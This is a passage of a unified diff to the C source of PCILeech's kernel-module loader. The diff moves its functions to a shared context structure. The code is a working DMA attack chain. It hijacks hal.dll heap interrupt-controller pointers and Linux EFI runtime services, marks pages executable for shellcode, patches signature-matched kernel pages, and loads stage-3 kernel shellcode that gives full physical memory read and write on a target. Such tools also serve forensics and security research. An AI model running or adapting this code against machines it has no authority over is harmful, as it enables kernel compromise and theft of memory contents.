if(!DeviceReadDMA(pDeviceData, dwPhysAddrS2, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
if(!DeviceReadDMA(ctx, dwPhysAddrS2, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n");
|
||||
return FALSE;
|
||||
}
|
||||
@@ -456,8 +534,8 @@ BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA
|
||||
// 5: Clear 2nd buffer and set up stage #3.
|
||||
//------------------------------------------------
|
||||
memset(pb, 0, 0x1000);
|
||||
DeviceWriteDMA(pDeviceData, dwPhysAddrS2, pb, 0x1000, 0);
|
||||
return KMD_SetupStage3(pCfg, pDeviceData, dwPhysAddrS3, oSignature.chunk[4].pb, 4096);
|
||||
DeviceWriteDMA(ctx, dwPhysAddrS2, pb, 0x1000, 0);
|
||||
return KMD_SetupStage3(ctx, dwPhysAddrS3, oSignature.chunk[4].pb, 4096);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
@@ -485,7 +563,7 @@ BOOL KMD_Win_SearchTableHalpInterruptController(_In_ PBYTE pbPage, _In_ QWORD qw
|
||||
// https://blog.coresecurity.com/2016/08/25/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap/
|
||||
// HAL is statically located at: ffffffffffd00000 (win8.1/win10 pre 1703)
|
||||
// HAL is randomized between: fffff78000000000:fffff7ffc0000000 (win10 1703) [512 possible positions in PDPT]
|
||||
BOOL KMDOpen_HalHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
BOOL KMDOpen_HalHijack(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
DWORD ADDR_HAL_HEAP_PA = 0x00001000;
|
||||
//QWORD ADDR_SHELLCODE_VA = 0xffffffffffc00100;
|
||||
@@ -499,7 +577,7 @@ BOOL KMDOpen_HalHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
// 1: Fetch hal.dll heap and perform sanity checks.
|
||||
//------------------------------------------------
|
||||
Util_CreateSignatureWindowsHalGeneric(&oSignature);
|
||||
result = DeviceReadDMA(pDeviceData, ADDR_HAL_HEAP_PA, pbHal, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
result = DeviceReadDMA(ctx, ADDR_HAL_HEAP_PA, pbHal, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
qwPML4 = *(PQWORD)(pbHal + 0xa0);
|
||||
qwHalVA = *(PQWORD)(pbHal + 0x78);
|
||||
if(!result || (qwPML4 & 0xffffffff00000fff)) {
|
||||
@@ -510,7 +588,7 @@ BOOL KMDOpen_HalHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
printf("KMD: Failed. Error reading or interpreting memory #2.\n");
|
||||
return FALSE;
|
||||
}
|
||||
result = Util_PageTable_ReadPTE(pCfg, pDeviceData, qwPML4, qwHalVA, &qwPTEOrig, &qwPTEPA);
|
||||
result = Util_PageTable_ReadPTE(ctx, qwPML4, qwHalVA, &qwPTEOrig, &qwPTEPA);
|
||||
if(!result || ((qwPTEOrig & 0x00007ffffffff003) != 0x1003)) {
|
||||
printf("KMD: Failed. Error reading or interpreting PTEs.\n");
|
||||
return FALSE;
|
||||
@@ -520,9 +598,9 @@ BOOL KMDOpen_HalHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
//------------------------------------------------
|
||||
for(qwAddrHalHeapVA = (qwHalVA & 0xffffffffffd00000); qwAddrHalHeapVA < (qwHalVA & 0xffffffffffd00000) + 0x100000; qwAddrHalHeapVA += 0x1000) {
|
||||
result =
|
||||
Util_PageTable_ReadPTE(pCfg, pDeviceData, qwPML4, qwAddrHalHeapVA, &qwPTEOrig, &qwPTEPA) &&
|
||||
Util_PageTable_ReadPTE(ctx, qwPML4, qwAddrHalHeapVA, &qwPTEOrig, &qwPTEPA) &&
|
||||
((qwPTEOrig & 0x00007fff00000003) == 0x00000003) &&
|
||||
DeviceReadDMA(pDeviceData, (qwPTEOrig & 0xfffff000), pbHal, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL) &&
|
||||
DeviceReadDMA(ctx, (qwPTEOrig & 0xfffff000), pbHal, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL) &&
|
||||
KMD_Win_SearchTableHalpInterruptController(pbHal, qwAddrHalHeapVA, &dwHookFnPgOffset);
|
||||
if(result) {
|
||||
break;
|
||||
@@ -533,7 +611,7 @@ BOOL KMDOpen_HalHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
return FALSE;
|
||||
}
|
||||
qwPTPA = qwPTEPA & ~0xfff;
|
||||
result = DeviceReadDMA(pDeviceData, (DWORD)qwPTPA, pbPT, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
result = DeviceReadDMA(ctx, (DWORD)qwPTPA, pbPT, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
if(!result || memcmp(pbPT + 0x200, pbNULL, 0x300)) { // 0x300 bytes between 0x200:0x500 in Hal PT must be zero
|
||||
printf("KMD: Failed. Error reading or interpreting PT.\n");
|
||||
return FALSE;
|
||||
@@ -546,14 +624,14 @@ BOOL KMDOpen_HalHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
memcpy(pbPT + 0x210, oSignature.chunk[3].pb, oSignature.chunk[3].cb);
|
||||
*(PQWORD)(pbPT + 0x210 + STAGE2_OFFSET_FN_STAGE1_ORIG) = *(PQWORD)(pbHal + dwHookFnPgOffset);
|
||||
*(PQWORD)(pbPT + 0x210 + STAGE2_OFFSET_EXTRADATA1) = qwAddrHalHeapVA + dwHookFnPgOffset;
|
||||
DeviceWriteDMA(pDeviceData, qwPTPA + 0x200, pbPT + 0x200, 0x300, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
Util_PageTable_SetMode(pCfg, pDeviceData, qwPML4, qwShellcodeVA, TRUE);
|
||||
DeviceWriteDMA(ctx, qwPTPA + 0x200, pbPT + 0x200, 0x300, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
Util_PageTable_SetMode(ctx, qwPML4, qwShellcodeVA, TRUE);
|
||||
//------------------------------------------------
|
||||
// 4: Place hook by overwriting function addr in hal.dll heap.
|
||||
//------------------------------------------------
|
||||
Sleep(250);
|
||||
DeviceWriteDMA(pDeviceData, (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset, (PBYTE)&qwShellcodeVA, sizeof(QWORD), PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
if(pCfg->fVerbose) {
|
||||
DeviceWriteDMA(ctx, (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset, (PBYTE)&qwShellcodeVA, sizeof(QWORD), PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
if(ctx->cfg->fVerbose) {
|
||||
printf("INFO: PA PT BASE: 0x%08x\n", qwPML4);
|
||||
printf("INFO: PA PT: 0x%08x\n", qwPTPA);
|
||||
printf("INFO: PA HAL HEAP: 0x%08x\n", (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset);
|
||||
@@ -566,21 +644,24 @@ BOOL KMDOpen_HalHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
pdwPhysicalAddress = (PDWORD)(pbPT + 0x210 + STAGE2_OFFSET_STAGE3_PHYSADDR);
|
||||
do {
|
||||
Sleep(100);
|
||||
if(!DeviceReadDMA(pDeviceData, (DWORD)qwPTPA, pbPT, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
if(!DeviceReadDMA(ctx, (DWORD)qwPTPA, pbPT, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n");
|
||||
return FALSE;
|
||||
}
|
||||
} while(!*pdwPhysicalAddress);
|
||||
if(ctx->cfg->fVerbose) {
|
||||
printf("INFO: PA KMD BASE: 0x%08x\n", *pdwPhysicalAddress);
|
||||
}
|
||||
printf("KMD: Execution received - continuing ...\n");
|
||||
//------------------------------------------------
|
||||
// 6: Restore hooks to original.
|
||||
//------------------------------------------------
|
||||
Sleep(250);
|
||||
DeviceWriteDMA(pDeviceData, qwPTPA + 0x200, pbNULL, 0x300, 0);
|
||||
DeviceWriteDMA(ctx, qwPTPA + 0x200, pbNULL, 0x300, 0);
|
||||
//------------------------------------------------
|
||||
// 7: Set up kernel module shellcode (stage3) and finish.
|
||||
//------------------------------------------------
|
||||
return KMD_SetupStage3(pCfg, pDeviceData, *pdwPhysicalAddress, oSignature.chunk[4].pb, 4096);
|
||||
return KMD_SetupStage3(ctx, *pdwPhysicalAddress, oSignature.chunk[4].pb, 4096);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
@@ -599,22 +680,22 @@ BOOL KMD_IsRangeInPhysicalMap(_In_ PKMDHANDLE phKMD, _In_ QWORD qwBaseAddress, _
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL KMD_SubmitCommand(_In_opt_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PKMDHANDLE phKMD, _In_ QWORD op)
|
||||
BOOL KMD_SubmitCommand(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD op)
|
||||
{
|
||||
HANDLE hCallback = NULL;
|
||||
phKMD->status->_op = op;
|
||||
if(!DeviceWriteDMA(pDeviceData, phKMD->dwPageAddr32, phKMD->pbPageData, 4096, 0)) {
|
||||
ctx->pk->_op = op;
|
||||
if(!DeviceWriteDMA(ctx, ctx->phKMD->dwPageAddr32, ctx->phKMD->pbPageData, 4096, 0)) {
|
||||
return FALSE;
|
||||
}
|
||||
do {
|
||||
if(!DeviceReadDMA(pDeviceData, phKMD->dwPageAddr32, phKMD->pbPageData, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
if(!DeviceReadDMA(ctx, ctx->phKMD->dwPageAddr32, ctx->phKMD->pbPageData, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
Exec_CallbackClose(hCallback);
|
||||
return FALSE;
|
||||
}
|
||||
if(phKMD->status->_op == KMD_CMD_EXEC_EXTENDED) {
|
||||
Exec_Callback(pCfg, pDeviceData, phKMD->status, &hCallback);
|
||||
if(ctx->pk->_op == KMD_CMD_EXEC_EXTENDED) {
|
||||
Exec_Callback(ctx, &hCallback);
|
||||
}
|
||||
} while(((phKMD->status->_op != KMD_CMD_COMPLETED) || (phKMD->status->_status != 1)) && phKMD->status->_status < 0x0fffffff);
|
||||
} while(((ctx->pk->_op != KMD_CMD_COMPLETED) || (ctx->pk->_status != 1)) && ctx->pk->_status < 0x0fffffff);
|
||||
if(hCallback) { Exec_CallbackClose(hCallback); }
|
||||
return TRUE;
|
||||
}
|
||||
@@ -635,32 +716,32 @@ VOID KMD_PhysicalMemoryMapDisplay(_In_ PKMDHANDLE phKMD)
|
||||
printf("----------------------------------------------\n");
|
||||
}
|
||||
|
||||
BOOL KMD_GetPhysicalMemoryMap(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PKMDHANDLE phKMD)
|
||||
BOOL KMD_GetPhysicalMemoryMap(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
QWORD qwMaxMemoryAddress;
|
||||
KMD_SubmitCommand(pCfg, pDeviceData, phKMD, KMD_CMD_MEM_INFO);
|
||||
if(!phKMD->status->_result || !phKMD->status->_size) {
|
||||
KMD_SubmitCommand(ctx, KMD_CMD_MEM_INFO);
|
||||
if(!ctx->pk->_result || !ctx->pk->_size) {
|
||||
return FALSE;
|
||||
}
|
||||
phKMD->pPhysicalMap = LocalAlloc(LMEM_ZEROINIT, (phKMD->status->_size + 0x1000) & 0xfffff000);
|
||||
if(!phKMD->pPhysicalMap) { return FALSE; }
|
||||
DeviceReadDMA(pDeviceData, phKMD->status->DMAAddrPhysical, (PBYTE)phKMD->pPhysicalMap, (DWORD)((phKMD->status->_size + 0x1000) & 0xfffff000), 0);
|
||||
phKMD->cPhysicalMap = phKMD->status->_size / sizeof(PHYSICAL_MEMORY_RANGE);
|
||||
ctx->phKMD->pPhysicalMap = LocalAlloc(LMEM_ZEROINIT, (ctx->pk->_size + 0x1000) & 0xfffff000);
|
||||
if(!ctx->phKMD->pPhysicalMap) { return FALSE; }
|
||||
DeviceReadDMA(ctx, ctx->pk->DMAAddrPhysical, (PBYTE)ctx->phKMD->pPhysicalMap, (DWORD)((ctx->pk->_size + 0x1000) & 0xfffff000), 0);
|
||||
ctx->phKMD->cPhysicalMap = ctx->pk->_size / sizeof(PHYSICAL_MEMORY_RANGE);
|
||||
if(ctx->phKMD->cPhysicalMap > 0x2000) { return FALSE; }
|
||||
// adjust max memory according to physical memory
|
||||
qwMaxMemoryAddress = phKMD->pPhysicalMap[phKMD->cPhysicalMap - 1].BaseAddress;
|
||||
qwMaxMemoryAddress += phKMD->pPhysicalMap[phKMD->cPhysicalMap - 1].NumberOfBytes;
|
||||
if(pCfg->qwAddrMax > qwMaxMemoryAddress) {
|
||||
pCfg->qwAddrMax = qwMaxMemoryAddress - 1;
|
||||
qwMaxMemoryAddress = ctx->phKMD->pPhysicalMap[ctx->phKMD->cPhysicalMap - 1].BaseAddress;
|
||||
qwMaxMemoryAddress += ctx->phKMD->pPhysicalMap[ctx->phKMD->cPhysicalMap - 1].NumberOfBytes;
|
||||
if(ctx->cfg->qwAddrMax > qwMaxMemoryAddress) {
|
||||
ctx->cfg->qwAddrMax = qwMaxMemoryAddress - 1;
|
||||
}
|
||||
if(pCfg->fVerbose) {
|
||||
KMD_PhysicalMemoryMapDisplay(phKMD);
|
||||
if(ctx->cfg->fVerbose) {
|
||||
KMD_PhysicalMemoryMapDisplay(ctx->phKMD);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL KMD_SetupStage3(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwPhysicalAddress, _In_ PBYTE pbStage3, _In_ DWORD cbStage3)
|
||||
BOOL KMD_SetupStage3(_Inout_ PPCILEECH_CONTEXT ctx, _In_ DWORD dwPhysicalAddress, _In_ PBYTE pbStage3, _In_ DWORD cbStage3)
|
||||
{
|
||||
PKMDHANDLE pKMD = NULL;
|
||||
//------------------------------------------------
|
||||
// 1: Set up kernel module shellcode (stage3)
|
||||
//------------------------------------------------
|
||||
@@ -668,134 +749,142 @@ BOOL KMD_SetupStage3(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ DWOR
|
||||
printf("KMD: Failed. Stage2 shellcode error.\n");
|
||||
return FALSE;
|
||||
}
|
||||
DeviceWriteDMA(pDeviceData, dwPhysicalAddress + 0x1000, pbStage3, cbStage3, 0);
|
||||
if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { return FALSE; }
|
||||
pKMD->dwPageAddr32 = dwPhysicalAddress;
|
||||
pKMD->status = (PKMDDATA)pKMD->pbPageData;
|
||||
DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096, 0);
|
||||
DeviceWriteDMA(ctx, dwPhysicalAddress + 0x1000, pbStage3, cbStage3, 0);
|
||||
ctx->phKMD = (PKMDHANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE));
|
||||
if(!ctx->phKMD) { return FALSE; }
|
||||
ctx->phKMD->pk = (PKMDDATA)ctx->phKMD->pbPageData;
|
||||
ctx->pk = ctx->phKMD->pk;
|
||||
ctx->phKMD->dwPageAddr32 = dwPhysicalAddress;
|
||||
DeviceReadDMA(ctx, ctx->phKMD->dwPageAddr32, ctx->phKMD->pbPageData, 4096, 0);
|
||||
//------------------------------------------------
|
||||
// 2: Retrieve physical memory range map and complete open action.
|
||||
//------------------------------------------------
|
||||
if(!KMD_GetPhysicalMemoryMap(pCfg, pDeviceData, pKMD)) {
|
||||
if(!KMD_GetPhysicalMemoryMap(ctx)) {
|
||||
printf("KMD: Failed. Failed to retrieve physical memory map.\n");
|
||||
LocalFree(pKMD);
|
||||
KMDClose(ctx);
|
||||
return FALSE;
|
||||
}
|
||||
pDeviceData->KMDHandle = (HANDLE)pKMD;
|
||||
pCfg->qwKMD = pKMD->dwPageAddr32;
|
||||
ctx->cfg->qwKMD = ctx->phKMD->dwPageAddr32;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL KMDReadMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
BOOL KMDReadMemory_DMABufferSized(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
BOOL result;
|
||||
PKMDHANDLE phKMD = (PKMDHANDLE)pDeviceData->KMDHandle;
|
||||
if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb) && !pDeviceData->IsAllowedAccessReservedAddress) {
|
||||
return FALSE;
|
||||
}
|
||||
phKMD->status->_size = cb;
|
||||
phKMD->status->_address = qwAddress;
|
||||
result = KMD_SubmitCommand(NULL, pDeviceData, phKMD, KMD_CMD_VOID);
|
||||
if(!KMD_IsRangeInPhysicalMap(ctx->phKMD, qwAddress, cb) && !ctx->cfg->fForceRW) { return FALSE; }
|
||||
ctx->pk->_size = cb;
|
||||
ctx->pk->_address = qwAddress;
|
||||
result = KMD_SubmitCommand(ctx, KMD_CMD_VOID);
|
||||
if(!result) { return FALSE; }
|
||||
result = KMD_SubmitCommand(NULL, pDeviceData, phKMD, KMD_CMD_READ);
|
||||
result = KMD_SubmitCommand(ctx, KMD_CMD_READ);
|
||||
if(!result) { return FALSE; }
|
||||
return DeviceReadDMA(pDeviceData, phKMD->status->DMAAddrPhysical, pb, cb, 0) && phKMD->status->_result;
|
||||
return DeviceReadDMA(ctx, ctx->pk->DMAAddrPhysical, pb, cb, 0) && ctx->pk->_result;
|
||||
}
|
||||
|
||||
BOOL KMDWriteMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb)
|
||||
BOOL KMDWriteMemory_DMABufferSized(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
BOOL result;
|
||||
PKMDHANDLE phKMD = (PKMDHANDLE)pDeviceData->KMDHandle;
|
||||
if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return FALSE; }
|
||||
result = DeviceWriteDMA(pDeviceData, phKMD->status->DMAAddrPhysical, pb, cb, 0);
|
||||
if(!KMD_IsRangeInPhysicalMap(ctx->phKMD, qwAddress, cb) && !ctx->cfg->fForceRW) { return FALSE; }
|
||||
result = DeviceWriteDMA(ctx, ctx->pk->DMAAddrPhysical, pb, cb, 0);
|
||||
if(!result) { return FALSE; }
|
||||
phKMD->status->_size = cb;
|
||||
phKMD->status->_address = qwAddress;
|
||||
result = KMD_SubmitCommand(NULL, pDeviceData, phKMD, KMD_CMD_VOID);
|
||||
ctx->pk->_size = cb;
|
||||
ctx->pk->_address = qwAddress;
|
||||
result = KMD_SubmitCommand(ctx, KMD_CMD_VOID);
|
||||
if(!result) { return FALSE; }
|
||||
return KMD_SubmitCommand(NULL, pDeviceData, phKMD, KMD_CMD_WRITE) && phKMD->status->_result;
|
||||
return KMD_SubmitCommand(ctx, KMD_CMD_WRITE) && ctx->pk->_result;
|
||||
}
|
||||
|
||||
BOOL KMDReadMemory(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
BOOL KMDReadMemory(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
DWORD dwDMABufferSize = (DWORD)((PKMDHANDLE)pDeviceData->KMDHandle)->status->DMASizeBuffer;
|
||||
DWORD dwDMABufferSize = (DWORD)ctx->pk->DMASizeBuffer;
|
||||
DWORD o = cb;
|
||||
dwDMABufferSize = dwDMABufferSize ? dwDMABufferSize : 0x01000000;
|
||||
while(TRUE) {
|
||||
if(o <= dwDMABufferSize) {
|
||||
return KMDReadMemory_DMABufferSized(pDeviceData, qwAddress + cb - o, pb + cb - o, o);
|
||||
} else if(!KMDReadMemory_DMABufferSized(pDeviceData, qwAddress + cb - o, pb + cb - o, dwDMABufferSize)) {
|
||||
return KMDReadMemory_DMABufferSized(ctx, qwAddress + cb - o, pb + cb - o, o);
|
||||
} else if(!KMDReadMemory_DMABufferSized(ctx, qwAddress + cb - o, pb + cb - o, dwDMABufferSize)) {
|
||||
return FALSE;
|
||||
}
|
||||
o -= dwDMABufferSize;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL KMDWriteMemory(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
BOOL KMDWriteMemory(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
DWORD dwDMABufferSize = (DWORD)((PKMDHANDLE)pDeviceData->KMDHandle)->status->DMASizeBuffer;
|
||||
DWORD dwDMABufferSize = (DWORD)ctx->pk->DMASizeBuffer;
|
||||
DWORD o = cb;
|
||||
dwDMABufferSize = dwDMABufferSize ? dwDMABufferSize : 0x01000000;
|
||||
while(TRUE) {
|
||||
if(o <= dwDMABufferSize) {
|
||||
return KMDWriteMemory_DMABufferSized(pDeviceData, qwAddress + cb - o, pb + cb - o, o);
|
||||
} else if(!KMDWriteMemory_DMABufferSized(pDeviceData, qwAddress + cb - o, pb + cb - o, dwDMABufferSize)) {
|
||||
return KMDWriteMemory_DMABufferSized(ctx, qwAddress + cb - o, pb + cb - o, o);
|
||||
} else if(!KMDWriteMemory_DMABufferSized(ctx, qwAddress + cb - o, pb + cb - o, dwDMABufferSize)) {
|
||||
return FALSE;
|
||||
}
|
||||
o -= dwDMABufferSize;
|
||||
}
|
||||
}
|
||||
|
||||
VOID KMDClose(_In_ PDEVICE_DATA pDeviceData)
|
||||
VOID KMDUnload(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
PKMDHANDLE phKMD;
|
||||
if(pDeviceData->KMDHandle) {
|
||||
phKMD = (PKMDHANDLE)pDeviceData->KMDHandle;
|
||||
KMD_SubmitCommand(NULL, pDeviceData, phKMD, KMD_CMD_TERMINATE);
|
||||
LocalFree(pDeviceData->KMDHandle);
|
||||
pDeviceData->KMDHandle = NULL;
|
||||
if(ctx->phKMD) {
|
||||
KMD_SubmitCommand(ctx, KMD_CMD_TERMINATE);
|
||||
KMDClose(ctx);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
VOID KMDClose(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
if(ctx->phKMD) {
|
||||
LocalFree(ctx->phKMD->pPhysicalMap);
|
||||
LocalFree(ctx->phKMD);
|
||||
ctx->phKMD = NULL;
|
||||
ctx->pk = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL KMDOpen_MemoryScan(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
SIGNATURE oSignatures[CONFIG_MAX_SIGNATURES];
|
||||
PSIGNATURE pSignature;
|
||||
DWORD dwSignatureMatchIdx, cSignatures = CONFIG_MAX_SIGNATURES;
|
||||
HRESULT hr;
|
||||
KMDHANDLE_S12 h1, h2;
|
||||
PDWORD pdwPhysicalAddress;
|
||||
//------------------------------------------------
|
||||
// 1: Load signature
|
||||
//------------------------------------------------
|
||||
if(0 == _stricmp(pCfg->szKMDName, "LINUX_X64")) {
|
||||
if(!KMD_LinuxKernelSeekSignature(pCfg, pDeviceData, &oSignatures[0])) {
|
||||
if(0 == _stricmp(ctx->cfg->szKMDName, "LINUX_X64_46")) {
|
||||
if(!KMD_Linux46KernelSeekSignature(ctx, &oSignatures[0])) {
|
||||
printf("KMD: Failed. Error locating generic linux kernel signature.\n");
|
||||
return FALSE;
|
||||
}
|
||||
pSignature = &oSignatures[0];
|
||||
} else if((0 == _stricmp(pCfg->szKMDName, "MACOS")) || (0 == _stricmp(pCfg->szKMDName, "OSX_X64"))) {
|
||||
if(!KMD_MacOSKernelSeekSignature(pCfg, pDeviceData, &oSignatures[0])) {
|
||||
} else if(0 == _stricmp(ctx->cfg->szKMDName, "LINUX_X64_48")) {
|
||||
if(!KMD_Linux48KernelSeekSignature(ctx, &oSignatures[0])) {
|
||||
printf("KMD: Failed. Error locating generic linux kernel signature.\n");
|
||||
return FALSE;
|
||||
}
|
||||
pSignature = &oSignatures[0];
|
||||
} else if((0 == _stricmp(ctx->cfg->szKMDName, "MACOS")) || (0 == _stricmp(ctx->cfg->szKMDName, "OSX_X64"))) {
|
||||
if(!KMD_MacOSKernelSeekSignature(ctx, &oSignatures[0])) {
|
||||
printf("KMD: Failed. Error locating generic macOS kernel signature.\n");
|
||||
return FALSE;
|
||||
}
|
||||
pSignature = &oSignatures[0];
|
||||
} else if(0 == _stricmp(pCfg->szKMDName, "FREEBSD_X64")) {
|
||||
if(!KMD_FreeBSDKernelSeekSignature(pCfg, pDeviceData, &oSignatures[0])) {
|
||||
} else if(0 == _stricmp(ctx->cfg->szKMDName, "FREEBSD_X64")) {
|
||||
if(!KMD_FreeBSDKernelSeekSignature(ctx, &oSignatures[0])) {
|
||||
printf("KMD: Failed. Error locating generic FreeBSD kernel signature.\n");
|
||||
return FALSE;
|
||||
}
|
||||
pSignature = &oSignatures[0];
|
||||
} else {
|
||||
if(!Util_LoadSignatures(pCfg->szKMDName, ".kmd", oSignatures, &cSignatures, 5)) {
|
||||
if(!Util_LoadSignatures(ctx->cfg->szKMDName, ".kmd", oSignatures, &cSignatures, 5)) {
|
||||
printf("KMD: Failed. Error loading signatures.\n");
|
||||
return FALSE;
|
||||
}
|
||||
//------------------------------------------------
|
||||
// 2: Locate patch location (scan memory).
|
||||
//------------------------------------------------
|
||||
hr = KMD_FindSignature1(pCfg, pDeviceData, oSignatures, cSignatures, &dwSignatureMatchIdx);
|
||||
if(FAILED(hr)) {
|
||||
if(!KMD_FindSignature1(ctx, oSignatures, cSignatures, &dwSignatureMatchIdx)) {
|
||||
printf("KMD: Failed. Could not find signature in memory.\n");
|
||||
return FALSE;
|
||||
}
|
||||
@@ -808,12 +897,12 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
//------------------------------------------------
|
||||
// 3: Set up patch data.
|
||||
//------------------------------------------------
|
||||
h1.dwPageAddr32 = (DWORD)pSignature->chunk[0].qwAddress;
|
||||
h2.dwPageAddr32 = (DWORD)pSignature->chunk[1].qwAddress;
|
||||
h1.qwPageAddr = pSignature->chunk[0].qwAddress;
|
||||
h2.qwPageAddr = pSignature->chunk[1].qwAddress;
|
||||
h1.dwPageOffset = 0xfff & pSignature->chunk[2].cbOffset;
|
||||
h2.dwPageOffset = 0xfff & pSignature->chunk[3].cbOffset;
|
||||
DeviceReadDMA(pDeviceData, h1.dwPageAddr32, h1.pbOrig, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
DeviceReadDMA(pDeviceData, h2.dwPageAddr32, h2.pbOrig, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
DeviceReadDMA(ctx, h1.qwPageAddr, h1.pbOrig, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
DeviceReadDMA(ctx, h2.qwPageAddr, h2.pbOrig, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
memcpy(h1.pbPatch, h1.pbOrig, 4096);
|
||||
memcpy(h2.pbPatch, h2.pbOrig, 4096);
|
||||
memcpy(h1.pbPatch + h1.dwPageOffset, pSignature->chunk[2].pb, pSignature->chunk[2].cb);
|
||||
@@ -827,11 +916,11 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
//------------------------------------------------
|
||||
// 4: Write patched data to memory.
|
||||
//------------------------------------------------
|
||||
if(!DeviceWriteDMAVerify(pDeviceData, h2.dwPageAddr32, h2.pbPatch, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
if(!DeviceWriteDMA(ctx, h2.qwPageAddr, h2.pbPatch, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL | PCILEECH_MEM_FLAG_VERIFYWRITE)) {
|
||||
printf("KMD: Failed. Signature found but unable write #2.\n");
|
||||
return FALSE;
|
||||
}
|
||||
if(!DeviceWriteDMA(pDeviceData, h1.dwPageAddr32, h1.pbPatch, 4096, 0)) { // stage1 (must be written after stage2)
|
||||
if(!DeviceWriteDMA(ctx, h1.qwPageAddr, h1.pbPatch, 4096, 0)) { // stage1 (must be written after stage2)
|
||||
printf("KMD: Failed. Signature found but unable write #1.\n");
|
||||
return FALSE;
|
||||
}
|
||||
@@ -842,7 +931,7 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
